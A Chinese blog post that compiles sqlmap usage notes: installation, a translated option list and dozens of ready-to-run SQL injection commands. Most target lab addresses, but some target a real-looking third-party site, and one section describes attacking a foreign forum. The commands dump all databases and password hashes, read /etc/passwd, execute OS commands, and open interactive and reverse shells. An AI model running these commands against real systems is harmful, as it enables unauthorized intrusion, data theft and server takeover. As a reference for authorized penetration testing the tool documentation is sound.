sqlmap简单中文说明

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 首先下载需要的文件,如果是windows环境直接到http://sqlmap.org/下载安装所需要的文件即可。 更新 svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev sqlmap.

首先下载需要的文件,如果是windows环境直接到http://sqlmap.org/下载安装所需要的文件即可。

更新
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 1 –sql-shell //执行SQL语句

sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 5 //更详细的信息

load options from a configuration INI file
sqlmap -c sqlmap.conf

使用POST方法提交
sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" –method POST –data "id=1″

使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" –cookie "id=1″ -v 1

使用referer欺骗
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –referer "http://www.google.com" -v 3

使用自定义user-agent,或者使用随机使用自带的user-agents.txt
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 -a "./txt/user-agents.txt"

使用基本认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred "testuser:testpass" -v 3

使用Digest认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1″ –auth-type Digest –auth-cred "testuser:testpass" -v 3

使用代理,配合TOR
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –proxy "http://192.168.1.47:3128″
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –proxy "http://192.168.1.47:8118″

使用多线程猜解
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 –current-user –threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 1 -p "id
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2″ -v 1 -p "cat,id"
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" –user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"

指定数据库,绕过SQLMAP的自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –dbms "PostgreSQL"

* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server

指定操作系统,绕过SQLMAP自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –os "Windows"

* Linux
* Windows

自定义payload
Options: –prefix and –postfix

In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.

Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = "SELECT * FROM users WHERE id=(‘" . $_GET['id'] . "‘) LIMIT 0, 1″;:

$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1″ -v 3 -p "id" –prefix "‘" –postfix "AND ‘test’='test"

[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter ‘id’ with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter ‘id’
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter ‘id’ is custom injectable
[...]

As you can see, the injection payload for testing for custom injection is:

id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

which URL decoded is:

id=1′) AND 7433=7433 AND (‘test’='test

and makes the query syntatically correct to the page query:

SELECT * FROM users WHERE id=(’1′) AND 7433=7433 AND (‘test’='test’) LIMIT 0, 1

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

页面比较
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –string "luther" -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –regexp "<td>lu[/w][/w]er" -v

排除网站的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –excl-reg "Dynamic content: ([/d]+)"

多语句测试,php内嵌函数mysql_query(),不支持多语句
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –stacked-test -v 1

union注入测试
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –union-test -v 1

unionz注入配合orderby
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1″ –union-test –union-tech orderby -v 1

python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 –union-use –banner
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 5 –union-use –current-user
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1″ -v 1 –union-use –dbs

fingerprint
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 -f
python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b

判断当前用户是否是dba
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –is-dba -v 1

列举数据库用户
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –users -v 0

列举数据库用户密码
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –passwords -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –passwords -U sa -v 0

查看用户权限
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –privileges -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –privileges -U postgres -v 0

列数据库
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dbs -v 0

列出指定数据库指定表的列名
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –columns -T users -D test -v 1

列出指定数据库的指定表的指定列的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump -T users -D master -C surname -v 0

指定列的范围从2-4
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump -T users -D test –start 2 –stop 4 -v 0

导出所有数据库,所有表的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump-all -v 0

只列出用户自己新建的数据库和表的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump-all –exclude-sysdbs -v 0

sql query
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –sql-query "SELECT usename FROM pg_user" -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –sql-query "SELECT host, password FROM mysql.user LIMIT 1, 3″ -v 1

SELECT usename, passwd FROM pg_shadow ORDER BY usename

保存和恢复会话
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 -s "sqlmap.log"

保存选项到INC配置文件
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 –save

sqlmap注入使用方法

今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
sqlmap -u "http://url/news?id=1″ –current-user #获取当前用户名称 sqlmap -u "http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
sqlmap -u "http://www.xxoo.com/news?id=1″ –tables -D "db_name" #列 表名
sqlmap -u "http://url/news?id=1″ –columns -T "tablename" users-D "db_name" -v 0 #列字段
sqlmap -u "http://url/news?id=1″ –dump -C "column_name" -T "table_name" -D "db_name" -v
0 #获取字段内容
******************信息获取******************
sqlmap -u "http://url/news?id=1″ –dbms "Mysql" –users # dbms 指定数 据库类型
sqlmap -u "http://url/news?id=1″ –users #列数据库用户
sqlmap -u "http://url/news?id=1″ –dbs#列数据库
sqlmap -u "http://url/news?id=1″ –passwords #数据库用户密码
sqlmap -u "http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
sqlmap -u "http://url/news?id=1″ –dump -C "password,user,id" -T "tablename" -D "db_name"
–start 1 –stop 20 #列出指定字段,列出20 条
sqlmap -u "http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
sqlmap -u "http://url/news?id=1″ –privileges #查看权限
sqlmap -u "http://url/news?id=1″ –privileges -U root #查看指定用户权限 sqlmap -u "http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员 sqlmap -u "http://url/news?id=1″ –roles #枚举数据库用户角色
sqlmap -u "http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
sqlmap -u "http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
sqlmap -u "http://url/news?id=1″ –union-cols #union 查询表记录
sqlmap -u "http://url/news?id=1″ –cookie "COOKIE_VALUE" #cookie注入
sqlmap -u "http://url/news?id=1″ -b #获取banner信息
sqlmap -u "http://url/news?id=1″ –data "id=3″ #post注入
sqlmap -u "http://url/news?id=1″ -v 1 -f #指纹判别数据库类型
sqlmap -u "http://url/news?id=1″ –proxy"http://127.0.0.1:8118" #代理注 入
sqlmap -u "http://url/news?id=1″–string"STRING_ON_TRUE_PAGE" # 指 定关键词
sqlmap -u "http://url/news?id=1″ –sql-shell #执行指定sql命令
sqlmap -u "http://url/news?id=1″ –file /etc/passwd
sqlmap -u "http://url/news?id=1″ –os-cmd=whoami #执行系统命令
sqlmap -u "http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u "http://url/news?id=1″ –os-pwn #反弹shell
sqlmap -u "http://url/news?id=1″ –reg-read #读取win系统注册表
sqlmap -u "http://url/news?id=1″ –dbs-o "sqlmap.log" #保存进度
sqlmap -u "http://url/news?id=1″ –dbs -o "sqlmap.log" –resume #恢复 已保存进度
***********高级用法*************
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
sqlmap -g "google语法" –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
–technique 测试指定注入类型/使用的技术
不加参数默认测试所有注入技术
• B: 基于布尔的 SQL 盲注
• E: 基于显错 sql 注入
• U: 基于 UNION 注入
• S: 叠层 sql 注入
• T: 基于时间盲注
–tamper 通过编码绕过 WEB 防火墙(WAF) Sqlmap 默认用 char()
–tamper 插件所在目录
/sqlmap-dev/tamper
sqlmap -u "http://url/news?id=1″ –smart –level 3 –users # smart 智 能
level 执行测试等级 攻击实例:
Sqlmap -u "http://url/news?id=1&Submit=Submit"
–cookie="PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406″ –string="Surname" –dbms=mysql –user
–password
参考文档:http://sqlmap.sourceforge.net/doc/README.html
***********安装最新版本*************
ubuntu 通过 apt-get install 安装的sqlmap版本为 0.6 我们通过svn 来安装 为 最新 1.0版
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行 /home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置 .bashrc 文件
sudo vim /home/当前用户/.bashrc
#任意位置加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
如果想对所有用户有效 可设置全局 编辑下面的文件
vim /etc/profile
同样加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安装python
http://www.sliksvn.com/en/download 安装windows svn client
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装sqlmap
*修改环境变量
–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为 1)
Target(目标): 以下至少需要设置其中一个选项,设置目标 URL。
-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标 URL。
-l LIST 从 Burp 或 WebScarab 代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入 HTTP 请求。
-g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。
-c CONFIGFILE 从 INI 配置文件中加载选项。
Request(请求)::
这些选项可以用来指定如何连接到目标 URL。
–data=DATA 通过 POST 发送的数据字符串
–cookie=COOKIE HTTP Cookie 头
–cookie-urlencode URL 编码生成的 cookie 注入
–drop-set-cookie 忽略响应的 Set – Cookie 头信息
–user-agent=AGENT 指定 HTTP User – Agent 头
–random-agent 使用随机选定的 HTTP User – Agent 头
–referer=REFERER 指定 HTTP Referer 头
–headers=HEADERS 换行分开,加入其他的 HTTP 头
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或 NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
–proxy=PROXY 使用 HTTP 代理连接到目标 URL
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的 HTTP 代理
–delay=DELAY 在每个 HTTP 请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为 30 秒)
–retries=RETRIES 连接超时后重新连接的时间(默认 3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的 url 地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的 URL
Optimization(优化): 这些选项可用于优化 SqlMap 的性能。
-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的 HTTP(S)连接
–null-connection 从没有实际的 HTTP 响应体中检索页面长度
–threads=THREADS 最大的 HTTP(S)请求并发量(默认为 1)
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入 payloads 和可选篡改脚本。
-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的 DBMS 为此值
–os=OS 强制后端的 DBMS 操作系统为这个值
–prefix=PREFIX 注入 payload 字符串前缀
–suffix=SUFFIX 注入 payload 字符串后缀
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。
–level=LEVEL 执行测试的等级(1-5,默认为 1)
–risk=RISK 执行测试的风险(0-3,默认为 1)
–string=STRING 查询时有效时在页面匹配字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–text-only 仅基于在文本内容比较网页
Techniques(技巧): 这些选项可用于调整具体的 SQL 注入测试。
–technique=TECH SQL 注入技术测试(默认 BEUST)
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为 5 秒)
–union-cols=UCOLS 定列范围用于测试 UNION 查询注入
–union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹):
-f, –fingerprint 执行检查广泛的 DBMS 版本指纹
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的 SQL 语句。
-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测 DBMS 当前用户是否 DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举的 DBMS 数据库中的表
–columns 枚举 DBMS 数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的 DBMS 数据库表中的条目
–search 搜索列(S),表(S)和/或数据库名称(S)
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的 SQL 语句
–sql-shell 提示交互式 SQL 的 shell
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
–common-tables 检查存在共同表
–common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的 shell
–os-pwn 获取一个 OOB shell,meterpreter 或 VNC
–os-smbrelay 一键获取一个 OOB shell,meterpreter 或 VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统 Windows 注册表。
–reg-read 读一个 Windows 注册表项值
–reg-add 写一个 Windows 注册表项值数据
–reg-del 删除 Windows 注册表键值
–reg-key=REGKEY Windows 注册表键
–reg-value=REGVAL Windows 注册表项值
–reg-data=REGDATA Windows 注册表键值数据
–reg-type=REGTYPE Windows 注册表项值类型
General(一般): 这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新 SqlMap
–save file 保存选项到 INI 配置文件
–batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):
–beep 发现 SQL 注入时提醒
–check-payload IDS 对注入 payloads 的检测测试
–cleanup SqlMap 具体的 UDF 和表清理 DBMS
–forms 对目标 URL 的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果
–page-rank Google dork 结果显示网页排名(PR)
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个 sqlite3 数据库
–tor 使用默认的 Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 给初级用户的简单向导界面

SQLMAP的部分用法

内容摘自网络,整理:mer4en7y
1)判断当前用户是否是dba
python sqlmap.py -u "url" --is-dba -v 1
2)--users:列出数据库管理系统用户
python sqlmap.py -u "url" --users -v 0
3)--passwords:数据库用户密码(hash)
python sqlmap.py -u "url" --passwords -v 0
python sqlmap.py -u "url" --passwords -U sa -v 0
4)查看用户权限
python sqlmap.py -u "url" --privileges -v 0
python sqlmap.py -u "url" --privileges -U postgres -v 0
5)--dbs可以利用的数据库
python sqlmap.py -u "url" --dbs -v 0
6)--tables列数据库表
python sqlmap.py -u "url" --tables -D "information_scheam"
-D:指定数据名称
7)--columns 列出表中的列名
python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1
-T:指定表名,-D:指定库名
8)--dump列表中指定列的内容
python sqlmap.py -u "url" --dump -T "users" -D "testdb"
-C:可以指定字段
指定列的范围为2到4
python sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0
9)--dumap-all列出所有数据库,所有表内容
python sqlmap.py -u "url" --dump-all -v 0
只列出用户自己新建的数据库和表的内容
python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0
10)--file读取文件内容[load_file()函数]
python sqlmap.py -u "url" --file /etc/password
11)执行SQL
python sqlmap.py -u "url" --sql-shell
12)-p 指定参数
python sqlmap.py -u "url" -v 1 -p "id"
-p可以指定多参数-p "cat,id"
13)POST提交
python sqlmap.py -u "url" --method POST --data "id=1"
14)COOKIE提交
python sqlmap.py -u "url" --cookie "id=1" -v 1
cookie值可以由TamperData抓取
15)refer欺骗
python sqlmap.py -u "url" --refer "url" -v 3
16)使用自定义user-agent或者user-agents.txt
python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"
17)使用多线程猜解
python sqlmap.py -u "url" -v 1 --current-user --threads 3
18)指定数据库,绕过SQLMAP的自动检测
python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"
19)指定操作系统绕过SQLMAP自动检测
python sqlmap.py -u "url" -v 2 --os "Windows"
20)--prefix and --postfix自定义payload
python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"
21)union注入测试
python sqlmap.py -u "url" --union-test -v -1
22)配合order by
python sqlmap.py -u "url" --union-test --union-tech orderby -v 1
23)python sqlmap.py -u "url" -v 1 --union-use --banner
24)python sqlmap.py -u "url" -v 5 --union-use --current-user
25)python sqlmap.py -u "url" -v 1 --union-use --dbs

 

您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx.

微信打赏

微信账号 nzf6698

支付宝打赏

支付宝账号 18979406698


作  者: Angel_Kitty
出  处:http://www.cnblogs.com/ECJTUACM-873284962/
关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教!
版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。
特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信
声援博主:如果您觉得文章对您有帮助,可以点击右下角推荐推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!

目录
相关文章
|
Python Windows
sqlmap安装及简介
sqlmap安装及简介
413 0
|
1月前
|
SQL 关系型数据库 MySQL
|
6月前
|
SQL 物联网 关系型数据库
sqlmap工具的使用 (超详细附工具版)_python sqlmap
sqlmap工具的使用 (超详细附工具版)_python sqlmap
|
SQL 安全 数据库
sqlmap的基本使用方法
sqlmap的基本使用方法
372 0
|
SQL Oracle 关系型数据库
sqlmap的使用
sqlmap的使用
157 0
|
SQL XML 安全
|
SQL 安全 Oracle
|
数据库
|
SQL 关系型数据库 数据库
SqlMap 初尝试
SqlMap 初尝试 什么是SqlMap Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
7281 0
|
关系型数据库 测试技术 数据库